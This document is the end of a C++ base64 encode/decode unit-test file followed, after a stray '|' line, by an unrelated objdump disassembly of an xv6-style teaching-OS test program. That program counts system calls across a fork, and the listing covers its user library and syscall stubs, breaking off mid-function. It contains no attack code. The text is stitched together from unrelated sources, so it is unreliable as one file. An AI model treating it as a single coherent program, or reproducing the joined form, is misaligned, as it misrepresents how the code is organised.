auto decode_equal = [&](const char* input, const char* expected) {
auto decoded_option = decode_base64(StringView(input));
EXPECT(decoded_option.has_value());
auto decoded = decoded_option.value();
EXPECT(String::copy(decoded) == String(expected));
EXPECT(StringView(expected).length() <= calculate_base64_decoded_length(StringView(input).bytes()));
};
decode_equal("", "");
decode_equal("Zg==", "f");
decode_equal("Zm8=", "fo");
decode_equal("Zm9v", "foo");
decode_equal("Zm9vYg==", "foob");
decode_equal("Zm9vYmE=", "fooba");
decode_equal("Zm9vYmFy", "foobar");
}
TEST_CASE(test_decode_invalid)
{
EXPECT(!decode_base64(StringView("asdf\xffqwe")).has_value());
EXPECT(!decode_base64(StringView("asdf\x80qwe")).has_value());
EXPECT(!decode_base64(StringView("asdf:qwe")).has_value());
EXPECT(!decode_base64(StringView("asdf=qwe")).has_value());
}
TEST_CASE(test_encode)
{
auto encode_equal = [&](const char* input, const char* expected) {
auto encoded = encode_base64({ input, strlen(input) });
EXPECT(encoded == String(expected));
EXPECT_EQ(StringView(expected).length(), calculate_base64_encoded_length(StringView(input).bytes()));
};
encode_equal("", "");
encode_equal("f", "Zg==");
encode_equal("fo", "Zm8=");
encode_equal("foo", "Zm9v");
encode_equal("foob", "Zm9vYg==");
encode_equal("fooba", "Zm9vYmE=");
encode_equal("foobar", "Zm9vYmFy");
}
|
_getcount: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "user.h"
#include "syscall.h"
int
main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 30 sub $0x30,%esp
int cpid = getpid();
9: e8 8c 05 00 00 call 59a <getpid>
e: 89 44 24 2c mov %eax,0x2c(%esp)
char dirname[8] = "new_dir";
12: c7 44 24 24 6e 65 77 movl $0x5f77656e,0x24(%esp)
19: 5f
1a: c7 44 24 28 64 69 72 movl $0x726964,0x28(%esp)
21: 00
char indirname[10] = "new_in_dir";
22: c7 44 24 1a 6e 65 77 movl $0x5f77656e,0x1a(%esp)
29: 5f
2a: c7 44 24 1e 69 6e 5f movl $0x645f6e69,0x1e(%esp)
31: 64
32: 66 c7 44 24 22 69 72 movw $0x7269,0x22(%esp)
printf(1, "ID of current process %d\n", cpid);
39: 8b 44 24 2c mov 0x2c(%esp),%eax
3d: 89 44 24 08 mov %eax,0x8(%esp)
41: c7 44 24 04 96 0a 00 movl $0xa96,0x4(%esp)
48: 00
49: c7 04 24 01 00 00 00 movl $0x1,(%esp)
50: e8 75 06 00 00 call 6ca <printf>
sleep(1);
55: c7 04 24 01 00 00 00 movl $0x1,(%esp)
5c: e8 49 05 00 00 call 5aa <sleep>
printf(1, "initial fork count %d\n", getcount(SYS_fork));
61: c7 04 24 01 00 00 00 movl $0x1,(%esp)
68: e8 4d 05 00 00 call 5ba <getcount>
6d: 89 44 24 08 mov %eax,0x8(%esp)
71: c7 44 24 04 b0 0a 00 movl $0xab0,0x4(%esp)
78: 00
79: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80: e8 45 06 00 00 call 6ca <printf>
if (fork() == 0) {
85: e8 88 04 00 00 call 512 <fork>
8a: 85 c0 test %eax,%eax
8c: 0f 85 02 01 00 00 jne 194 <main+0x194>
cpid = getpid();
92: e8 03 05 00 00 call 59a <getpid>
97: 89 44 24 2c mov %eax,0x2c(%esp)
mkdir(dirname);
9b: 8d 44 24 24 lea 0x24(%esp),%eax
9f: 89 04 24 mov %eax,(%esp)
a2: e8 db 04 00 00 call 582 <mkdir>
chdir(dirname);
a7: 8d 44 24 24 lea 0x24(%esp),%eax
ab: 89 04 24 mov %eax,(%esp)
ae: e8 d7 04 00 00 call 58a <chdir>
mkdir(indirname);
b3: 8d 44 24 1a lea 0x1a(%esp),%eax
b7: 89 04 24 mov %eax,(%esp)
ba: e8 c3 04 00 00 call 582 <mkdir>
sleep(1);
bf: c7 04 24 01 00 00 00 movl $0x1,(%esp)
c6: e8 df 04 00 00 call 5aa <sleep>
printf(1, "ID of the child process %d\n", cpid);
cb: 8b 44 24 2c mov 0x2c(%esp),%eax
cf: 89 44 24 08 mov %eax,0x8(%esp)
d3: c7 44 24 04 c7 0a 00 movl $0xac7,0x4(%esp)
da: 00
db: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e2: e8 e3 05 00 00 call 6ca <printf>
sleep(1);
e7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
ee: e8 b7 04 00 00 call 5aa <sleep>
printf(1, "child fork count %d\n", getcount(SYS_fork));
f3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
fa: e8 bb 04 00 00 call 5ba <getcount>
ff: 89 44 24 08 mov %eax,0x8(%esp)
103: c7 44 24 04 e3 0a 00 movl $0xae3,0x4(%esp)
10a: 00
10b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
112: e8 b3 05 00 00 call 6ca <printf>
sleep(1);
117: c7 04 24 01 00 00 00 movl $0x1,(%esp)
11e: e8 87 04 00 00 call 5aa <sleep>
printf(1, "child write count %d\n", getcount(SYS_write));
123: c7 04 24 10 00 00 00 movl $0x10,(%esp)
12a: e8 8b 04 00 00 call 5ba <getcount>
12f: 89 44 24 08 mov %eax,0x8(%esp)
133: c7 44 24 04 f8 0a 00 movl $0xaf8,0x4(%esp)
13a: 00
13b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
142: e8 83 05 00 00 call 6ca <printf>
printf(1, "child getpid count %d\n", getcount(SYS_getpid));
147: c7 04 24 0b 00 00 00 movl $0xb,(%esp)
14e: e8 67 04 00 00 call 5ba <getcount>
153: 89 44 24 08 mov %eax,0x8(%esp)
157: c7 44 24 04 0e 0b 00 movl $0xb0e,0x4(%esp)
15e: 00
15f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
166: e8 5f 05 00 00 call 6ca <printf>
printf(1, "child sleep count %d\n", getcount(SYS_sleep));
16b: c7 04 24 0d 00 00 00 movl $0xd,(%esp)
172: e8 43 04 00 00 call 5ba <getcount>
177: 89 44 24 08 mov %eax,0x8(%esp)
17b: c7 44 24 04 25 0b 00 movl $0xb25,0x4(%esp)
182: 00
183: c7 04 24 01 00 00 00 movl $0x1,(%esp)
18a: e8 3b 05 00 00 call 6ca <printf>
18f: e9 ad 00 00 00 jmp 241 <main+0x241>
} else {
wait();
194: e8 89 03 00 00 call 522 <wait>
mkdir(indirname);
199: 8d 44 24 1a lea 0x1a(%esp),%eax
19d: 89 04 24 mov %eax,(%esp)
1a0: e8 dd 03 00 00 call 582 <mkdir>
printf(1, "parent fork count %d\n", getcount(SYS_fork));
1a5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1ac: e8 09 04 00 00 call 5ba <getcount>
1b1: 89 44 24 08 mov %eax,0x8(%esp)
1b5: c7 44 24 04 3b 0b 00 movl $0xb3b,0x4(%esp)
1bc: 00
1bd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c4: e8 01 05 00 00 call 6ca <printf>
printf(1, "parent write count %d\n", getcount(SYS_write));
1c9: c7 04 24 10 00 00 00 movl $0x10,(%esp)
1d0: e8 e5 03 00 00 call 5ba <getcount>
1d5: 89 44 24 08 mov %eax,0x8(%esp)
1d9: c7 44 24 04 51 0b 00 movl $0xb51,0x4(%esp)
1e0: 00
1e1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1e8: e8 dd 04 00 00 call 6ca <printf>
printf(1, "parent getpid count %d\n", getcount(SYS_getpid));
1ed: c7 04 24 0b 00 00 00 movl $0xb,(%esp)
1f4: e8 c1 03 00 00 call 5ba <getcount>
1f9: 89 44 24 08 mov %eax,0x8(%esp)
1fd: c7 44 24 04 68 0b 00 movl $0xb68,0x4(%esp)
204: 00
205: c7 04 24 01 00 00 00 movl $0x1,(%esp)
20c: e8 b9 04 00 00 call 6ca <printf>
sleep(1);
211: c7 04 24 01 00 00 00 movl $0x1,(%esp)
218: e8 8d 03 00 00 call 5aa <sleep>
printf(1, "parent sleep count %d\n", getcount(SYS_sleep));
21d: c7 04 24 0d 00 00 00 movl $0xd,(%esp)
224: e8 91 03 00 00 call 5ba <getcount>
229: 89 44 24 08 mov %eax,0x8(%esp)
22d: c7 44 24 04 80 0b 00 movl $0xb80,0x4(%esp)
234: 00
235: c7 04 24 01 00 00 00 movl $0x1,(%esp)
23c: e8 89 04 00 00 call 6ca <printf>
}
printf(1, "wait count %d\n", getcount(SYS_wait));
241: c7 04 24 03 00 00 00 movl $0x3,(%esp)
248: e8 6d 03 00 00 call 5ba <getcount>
24d: 89 44 24 08 mov %eax,0x8(%esp)
251: c7 44 24 04 97 0b 00 movl $0xb97,0x4(%esp)
258: 00
259: c7 04 24 01 00 00 00 movl $0x1,(%esp)
260: e8 65 04 00 00 call 6ca <printf>
printf(1, "mkdir count %d\n", getcount(SYS_mkdir));
265: c7 04 24 14 00 00 00 movl $0x14,(%esp)
26c: e8 49 03 00 00 call 5ba <getcount>
271: 89 44 24 08 mov %eax,0x8(%esp)
275: c7 44 24 04 a6 0b 00 movl $0xba6,0x4(%esp)
27c: 00
27d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
284: e8 41 04 00 00 call 6ca <printf>
printf(1, "chdir count %d\n", getcount(SYS_chdir));
289: c7 04 24 09 00 00 00 movl $0x9,(%esp)
290: e8 25 03 00 00 call 5ba <getcount>
295: 89 44 24 08 mov %eax,0x8(%esp)
299: c7 44 24 04 b6 0b 00 movl $0xbb6,0x4(%esp)
2a0: 00
2a1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a8: e8 1d 04 00 00 call 6ca <printf>
exit();
2ad: e8 68 02 00 00 call 51a <exit>
000002b2 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
2b2: 55 push %ebp
2b3: 89 e5 mov %esp,%ebp
2b5: 57 push %edi
2b6: 53 push %ebx
asm volatile("cld; rep stosb" :
2b7: 8b 4d 08 mov 0x8(%ebp),%ecx
2ba: 8b 55 10 mov 0x10(%ebp),%edx
2bd: 8b 45 0c mov 0xc(%ebp),%eax
2c0: 89 cb mov %ecx,%ebx
2c2: 89 df mov %ebx,%edi
2c4: 89 d1 mov %edx,%ecx
2c6: fc cld
2c7: f3 aa rep stos %al,%es:(%edi)
2c9: 89 ca mov %ecx,%edx
2cb: 89 fb mov %edi,%ebx
2cd: 89 5d 08 mov %ebx,0x8(%ebp)
2d0: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
2d3: 5b pop %ebx
2d4: 5f pop %edi
2d5: 5d pop %ebp
2d6: c3 ret
000002d7 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
2d7: 55 push %ebp
2d8: 89 e5 mov %esp,%ebp
2da: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
2dd: 8b 45 08 mov 0x8(%ebp),%eax
2e0: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
2e3: 90 nop
2e4: 8b 45 08 mov 0x8(%ebp),%eax
2e7: 8d 50 01 lea 0x1(%eax),%edx
2ea: 89 55 08 mov %edx,0x8(%ebp)
2ed: 8b 55 0c mov 0xc(%ebp),%edx
2f0: 8d 4a 01 lea 0x1(%edx),%ecx
2f3: 89 4d 0c mov %ecx,0xc(%ebp)
2f6: 0f b6 12 movzbl (%edx),%edx
2f9: 88 10 mov %dl,(%eax)
2fb: 0f b6 00 movzbl (%eax),%eax
2fe: 84 c0 test %al,%al
300: 75 e2 jne 2e4 <strcpy+0xd>
;
return os;
302: 8b 45 fc mov -0x4(%ebp),%eax
}
305: c9 leave
306: c3 ret
00000307 <strcmp>:
int
strcmp(const char *p, const char *q)
{
307: 55 push %ebp
308: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
30a: eb 08 jmp 314 <strcmp+0xd>
p++, q++;
30c: 83 45 08 01 addl $0x1,0x8(%ebp)
310: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
314: 8b 45 08 mov 0x8(%ebp),%eax
317: 0f b6 00 movzbl (%eax),%eax
31a: 84 c0 test %al,%al
31c: 74 10 je 32e <strcmp+0x27>
31e: 8b 45 08 mov 0x8(%ebp),%eax
321: 0f b6 10 movzbl (%eax),%edx
324: 8b 45 0c mov 0xc(%ebp),%eax
327: 0f b6 00 movzbl (%eax),%eax
32a: 38 c2 cmp %al,%dl
32c: 74 de je 30c <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
32e: 8b 45 08 mov 0x8(%ebp),%eax
331: 0f b6 00 movzbl (%eax),%eax
334: 0f b6 d0 movzbl %al,%edx
337: 8b 45 0c mov 0xc(%ebp),%eax
33a: 0f b6 00 movzbl (%eax),%eax
33d: 0f b6 c0 movzbl %al,%eax
340: 29 c2 sub %eax,%edx
342: 89 d0 mov %edx,%eax
}
344: 5d pop %ebp
345: c3 ret
00000346 <strlen>:
uint
strlen(char *s)
{
346: 55 push %ebp
347: 89 e5 mov %esp,%ebp
349: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
34c: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
353: eb 04 jmp 359 <strlen+0x13>
355: 83 45 fc 01 addl $0x1,-0x4(%ebp)
359: 8b 55 fc mov -0x4(%ebp),%edx
35c: 8b 45 08 mov 0x8(%ebp),%eax
35f: 01 d0 add %edx,%eax
361: 0f b6 00 movzbl (%eax),%eax
364: 84 c0 test %al,%al
366: 75 ed jne 355 <strlen+0xf>
;
return n;
368: 8b 45 fc mov -0x4(%ebp),%eax
}
36b: c9 leave
36c: c3 ret
0000036d <memset>:
void*
memset(void *dst, int c, uint n)
{
36d: 55 push %ebp
36e: 89 e5 mov %esp,%ebp
370: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
373: 8b 45 10 mov 0x10(%ebp),%eax
376: 89 44 24 08 mov %eax,0x8(%esp)
37a: 8b 45 0c mov 0xc(%ebp),%eax
37d: 89 44 24 04 mov %eax,0x4(%esp)
381: 8b 45 08 mov 0x8(%ebp),%eax
384: 89 04 24 mov %eax,(%esp)
387: e8 26 ff ff ff call 2b2 <stosb>
return dst;
38c: 8b 45 08 mov 0x8(%ebp),%eax
}
38f: c9 leave
390: c3 ret
00000391 <strchr>:
char*
strchr(const char *s, char c)
{
391: 55 push %ebp
392: 89 e5 mov %esp,%ebp
394: 83 ec 04 sub $0x4,%esp
397: 8b 45 0c mov 0xc(%ebp),%eax
39a: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
39d: eb 14 jmp 3b3 <strchr+0x22>
if(*s == c)
39f: 8b 45 08 mov 0x8(%ebp),%eax
3a2: 0f b6 00 movzbl (%eax),%eax
3a5: 3a 45 fc cmp -0x4(%ebp),%al
3a8: 75 05 jne 3af <strchr+0x1e>
return (char*)s;
3aa: 8b 45 08 mov 0x8(%ebp),%eax
3ad: eb 13 jmp 3c2 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
3af: 83 45 08 01 addl $0x1,0x8(%ebp)
3b3: 8b 45 08 mov 0x8(%ebp),%eax
3b6: 0f b6 00 movzbl (%eax),%eax
3b9: 84 c0 test %al,%al
3bb: 75 e2 jne 39f <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
3bd: b8 00 00 00 00 mov $0x0,%eax
}
3c2: c9 leave
3c3: c3 ret
000003c4 <gets>:
char*
gets(char *buf, int max)
{
3c4: 55 push %ebp
3c5: 89 e5 mov %esp,%ebp
3c7: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
3ca: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3d1: eb 4c jmp 41f <gets+0x5b>
cc = read(0, &c, 1);
3d3: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3da: 00
3db: 8d 45 ef lea -0x11(%ebp),%eax
3de: 89 44 24 04 mov %eax,0x4(%esp)
3e2: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3e9: e8 44 01 00 00 call 532 <read>
3ee: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
3f1: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3f5: 7f 02 jg 3f9 <gets+0x35>
break;
3f7: eb 31 jmp 42a <gets+0x66>
buf[i++] = c;
3f9: 8b 45 f4 mov -0xc(%ebp),%eax
3fc: 8d 50 01 lea 0x1(%eax),%edx
3ff: 89 55 f4 mov %edx,-0xc(%ebp)
402: 89 c2 mov %eax,%edx
404: 8b 45 08 mov 0x8(%ebp),%eax
407: 01 c2 add %eax,%edx
409: 0f b6 45 ef movzbl -0x11(%ebp),%eax
40d: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
40f: 0f b6 45 ef movzbl -0x11(%ebp),%eax
413: 3c 0a cmp $0xa,%al
415: 74 13 je 42a <gets+0x66>
417: 0f b6 45 ef movzbl -0x11(%ebp),%eax
41b: 3c 0d cmp $0xd,%al
41d: 74 0b je 42a <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
41f: 8b 45 f4 mov -0xc(%ebp),%eax
422: 83 c0 01 add $0x1,%eax
425: 3b 45 0c cmp 0xc(%ebp),%eax
428: 7c a9 jl 3d3 <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
42a: 8b 55 f4 mov -0xc(%ebp),%edx
42d: 8b 45 08 mov 0x8(%ebp),%eax
430: 01 d0 add %edx,%eax
432: c6 00 00 movb $0x0,(%eax)
return buf;
435: 8b 45 08 mov 0x8(%ebp),%eax
}
438: c9 leave
439: c3 ret
0000043a <stat>:
int
stat(char *n, struct stat *st)
{
43a: 55 push %ebp
43b: 89 e5 mov %esp,%ebp
43d: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
440: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
447: 00
448: 8b 45 08 mov 0x8(%ebp),%eax
44b: 89 04 24 mov %eax,(%esp)
44e: e8 07 01 00 00 call 55a <open>
453: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
456: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
45a: 79 07 jns 463 <stat+0x29>
return -1;
45c: b8 ff ff ff ff mov $0xffffffff,%eax
461: eb 23 jmp 486 <stat+0x4c>
r = fstat(fd, st);
463: 8b 45 0c mov 0xc(%ebp),%eax
466: 89 44 24 04 mov %eax,0x4(%esp)
46a: 8b 45 f4 mov -0xc(%ebp),%eax
46d: 89 04 24 mov %eax,(%esp)
470: e8 fd 00 00 00 call 572 <fstat>
475: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
478: 8b 45 f4 mov -0xc(%ebp),%eax
47b: 89 04 24 mov %eax,(%esp)
47e: e8 bf 00 00 00 call 542 <close>
return r;
483: 8b 45 f0 mov -0x10(%ebp),%eax
}
486: c9 leave
487: c3 ret
00000488 <atoi>:
int
atoi(const char *s)
{
488: 55 push %ebp
489: 89 e5 mov %esp,%ebp
48b: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
48e: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
495: eb 25 jmp 4bc <atoi+0x34>
n = n*10 + *s++ - '0';
497: 8b 55 fc mov -0x4(%ebp),%edx
49a: 89 d0 mov %edx,%eax
49c: c1 e0 02 shl $0x2,%eax
49f: 01 d0 add %edx,%eax
4a1: 01 c0 add %eax,%eax
4a3: 89 c1 mov %eax,%ecx
4a5: 8b 45 08 mov 0x8(%ebp),%eax
4a8: 8d 50 01 lea 0x1(%eax),%edx
4ab: 89 55 08 mov %edx,0x8(%ebp)
4ae: 0f b6 00 movzbl (%eax),%eax
4b1: 0f be c0 movsbl %al,%eax
4b4: 01 c8 add %ecx,%eax
4b6: 83 e8 30 sub $0x30,%eax
4b9: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
4bc: 8b 45 08 mov 0x8(%ebp),%eax
4bf: 0f b6 00 movzbl (%eax),%eax
4c2: 3c 2f cmp $0x2f,%al
4c4: 7e 0a jle 4d0 <atoi+0x48>
4c6: 8b 45 08 mov 0x8(%ebp),%eax
4c9: 0f b6 00 movzbl (%eax),%eax
4cc: 3c 39 cmp $0x39,%al
4ce: 7e c7 jle 497 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
4d0: 8b 45 fc mov -0x4(%ebp),%eax
}
4d3: c9 leave
4d4: c3 ret
000004d5 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
4d5: 55 push %ebp
4d6: 89 e5 mov %esp,%ebp
4d8: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
4db: 8b 45 08 mov 0x8(%ebp),%eax
4de: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
4e1: 8b 45 0c mov 0xc(%ebp),%eax
4e4: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
4e7: eb 17 jmp 500 <memmove+0x2b>
*dst++ = *src++;
4e9: 8b 45 fc mov -0x4(%ebp),%eax
4ec: 8d 50 01 lea 0x1(%eax),%edx
4ef: 89 55 fc mov %edx,-0x4(%ebp)
4f2: 8b 55 f8 mov -0x8(%ebp),%edx
4f5: 8d 4a 01 lea 0x1(%edx),%ecx
4f8: 89 4d f8 mov %ecx,-0x8(%ebp)
4fb: 0f b6 12 movzbl (%edx),%edx
4fe: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
500: 8b 45 10 mov 0x10(%ebp),%eax
503: 8d 50 ff lea -0x1(%eax),%edx
506: 89 55 10 mov %edx,0x10(%ebp)
509: 85 c0 test %eax,%eax
50b: 7f dc jg 4e9 <memmove+0x14>
*dst++ = *src++;
return vdst;
50d: 8b 45 08 mov 0x8(%ebp),%eax
}
510: c9 leave
511: c3 ret
00000512 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
512: b8 01 00 00 00 mov $0x1,%eax
517: cd 40 int $0x40
519: c3 ret
0000051a <exit>:
SYSCALL(exit)
51a: b8 02 00 00 00 mov $0x2,%eax
51f: cd 40 int $0x40
521: c3 ret
00000522 <wait>:
SYSCALL(wait)
522: b8 03 00 00 00 mov $0x3,%eax
527: cd 40 int $0x40
529: c3 ret
0000052a <pipe>:
SYSCALL(pipe)
52a: b8 04 00 00 00 mov $0x4,%eax
52f: cd 40 int $0x40
531: c3 ret
00000532 <read>:
SYSCALL(read)
532: b8 05 00 00 00 mov $0x5,%eax
537: cd 40 int $0x40
539: c3 ret
0000053a <write>:
SYSCALL(write)
53a: b8 10 00 00 00 mov $0x10,%eax
53f: cd 40 int $0x40
541: c3 ret
00000542 <close>:
SYSCALL(close)
542: b8 15 00 00 00 mov $0x15,%eax
547: cd 40 int $0x40
549: c3 ret
0000054a <kill>:
SYSCALL(kill)
54a: b8 06 00 00 00 mov $0x6,%eax
54f: cd 40 int $0x40
551: c3 ret
00000552 <exec>:
SYSCALL(exec)
552: b8 07 00 00 00 mov $0x7,%eax
557: cd 40 int $0x40
559: c3 ret
0000055a <open>:
SYSCALL(open)
55a: b8 0f 00 00 00 mov $0xf,%eax
55f: cd 40 int $0x40
561: c3 ret
00000562 <mknod>:
SYSCALL(mknod)
562: b8 11 00 00 00 mov $0x11,%eax
567: cd 40 int $0x40
569: c3 ret
0000056a <unlink>:
SYSCALL(unlink)
56a: b8 12 00 00 00 mov $0x12,%eax
56f: cd 40 int $0x40
571: c3 ret
00000572 <fstat>:
SYSCALL(fstat)
572: b8 08 00 00 00 mov $0x8,%eax
577: cd 40 int $0x40
579: c3 ret
0000057a <link>:
SYSCALL(link)
57a: b8 13 00 00 00 mov $0x13,%eax
57f: cd 40 int $0x40
581: c3 ret
00000582 <mkdir>:
SYSCALL(mkdir)
582: b8 14 00 00 00 mov $0x14,%eax
587: cd 40 int $0x40
589: c3 ret
0000058a <chdir>:
SYSCALL(chdir)
58a: b8 09 00 00 00 mov $0x9,%eax
58f: cd 40 int $0x40
591: c3 ret
00000592 <dup>:
SYSCALL(dup)
592: b8 0a 00 00 00 mov $0xa,%eax
597: cd 40 int $0x40
599: c3 ret
0000059a <getpid>:
SYSCALL(getpid)
59a: b8 0b 00 00 00 mov $0xb,%eax
59f: cd 40 int $0x40
5a1: c3 ret
000005a2 <sbrk>:
SYSCALL(sbrk)
5a2: b8 0c 00 00 00 mov $0xc,%eax
5a7: cd 40 int $0x40
5a9: c3 ret
000005aa <sleep>:
SYSCALL(sleep)
5aa: b8 0d 00 00 00 mov $0xd,%eax
5af: cd 40 int $0x40
5b1: c3 ret
000005b2 <uptime>:
SYSCALL(uptime)
5b2: b8 0e 00 00 00 mov $0xe,%eax
5b7: cd 40 int $0x40
5b9: c3 ret
000005ba <getcount>:
// To define asm routine for the new call.
SYSCALL(getcount)
5ba: b8 16 00 00 00 mov $0x16,%eax
5bf: cd 40 int $0x40
5c1: c3 ret
000005c2 <thread_create>:
// To define asm routines for the new thread management calls.
SYSCALL(thread_create)
5c2: b8 17 00 00 00 mov $0x17,%eax
5c7: cd 40 int $0x40
5c9: c3 ret
000005ca <thread_join>:
SYSCALL(thread_join)
5ca: b8 18 00 00 00 mov $0x18,%eax
5cf: cd 40 int $0x40
5d1: c3 ret
000005d2 <mtx_create>:
SYSCALL(mtx_create)
5d2: b8 19 00 00 00 mov $0x19,%eax
5d7: cd 40 int $0x40
5d9: c3 ret
000005da <mtx_lock>:
SYSCALL(mtx_lock)
5da: b8 1a 00 00 00 mov $0x1a,%eax
5df: cd 40 int $0x40
5e1: c3 ret
000005e2 <mtx_unlock>:
5e2: b8 1b 00 00 00 mov $0x1b,%eax
5e7: cd 40 int $0x40
5e9: c3 ret
000005ea <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
5ea: 55 push %ebp
5eb: 89 e5 mov %esp,%ebp
5ed: 83 ec 18 sub $0x18,%esp
5f0: 8b 45 0c mov 0xc(%ebp),%eax
5f3: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
5f6: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
5fd: 00
5fe: 8d 45 f4 lea -0xc(%ebp),%eax
601: 89 44 24 04 mov %eax,0x4(%esp)
605: 8b 45 08 mov 0x8(%ebp),%eax
608: 89 04 24 mov %eax,(%esp)
60b: e8 2a ff ff ff call 53a <write>
}
610: c9 leave
611: c3 ret
00000612 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
612: 55 push %ebp
613: 89 e5 mov %esp,%ebp
615: 56 push %esi
616: 53 push %ebx
617: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
61a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
621: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
625: 74 17 je 63e <printint+0x2c>
627: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
62b: 79 11 jns 63e <printint+0x2c>
neg = 1;
62d: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
634: 8b 45 0c mov 0xc(%ebp),%eax
637: f7 d8 neg %eax
639: 89 45 ec mov %eax,-0x14(%ebp)
63c: eb 06 jmp 644 <printint+0x32>
} else {
x = xx;
63e: 8b 45 0c mov 0xc(%ebp),%eax
641: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
644: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
64b: 8b 4d f4 mov -0xc(%ebp),%ecx
64e: 8d 41 01 lea 0x1(%ecx),%eax
651: 89 45 f4 mov %eax,-0xc(%ebp)
654: 8b 5d 10 mov 0x10(%ebp),%ebx
657: 8b 45 ec mov -0x14(%ebp),%eax
65a: ba 00 00 00 00 mov $0x0,%edx
65f: f7 f3 div %ebx
661: 89 d0 mov %edx,%eax
663: 0f b6 80 14 0e 00 00 movzbl 0xe14(%eax),%eax
66a: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
66e: 8b 75 10 mov 0x10(%ebp),%esi
671: 8b 45 ec mov -0x14(%ebp),%eax
674: ba 00 00 00 00 mov $0x0,%edx
679: f7 f6 div %esi
67b: 89 45 ec mov %eax,-0x14(%ebp)
67e: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
682: 75 c7 jne 64b <printint+0x39>
if(neg)
684: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
688: 74 10 je 69a <printint+0x88>
buf[i++] = '-';
68a: 8b 45 f4 mov -0xc(%ebp),%eax
68d: 8d 50 01 lea 0x1(%eax),%edx
690: 89 55 f4 mov %edx,-0xc(%ebp)
693: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
698: eb 1f jmp 6b9 <printint+0xa7>
69a: eb 1d jmp 6b9 <printint+0xa7>
putc(fd, buf[i]);
69c: 8d 55 dc lea -0x24(%ebp),%edx
69f: 8b 45 f4 mov -0xc(%ebp),%eax
6a2: 01 d0 add %edx,%eax
6a4: 0f b6 00 movzbl (%eax),%eax
6a7: 0f be c0 movsbl %al,%eax
6aa: 89 44 24 04 mov %eax,0x4(%esp)
6ae: 8b 45 08 mov 0x8(%ebp),%eax
6b1: 89 04 24 mov %eax,(%esp)
6b4: e8 31 ff ff ff call 5ea <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
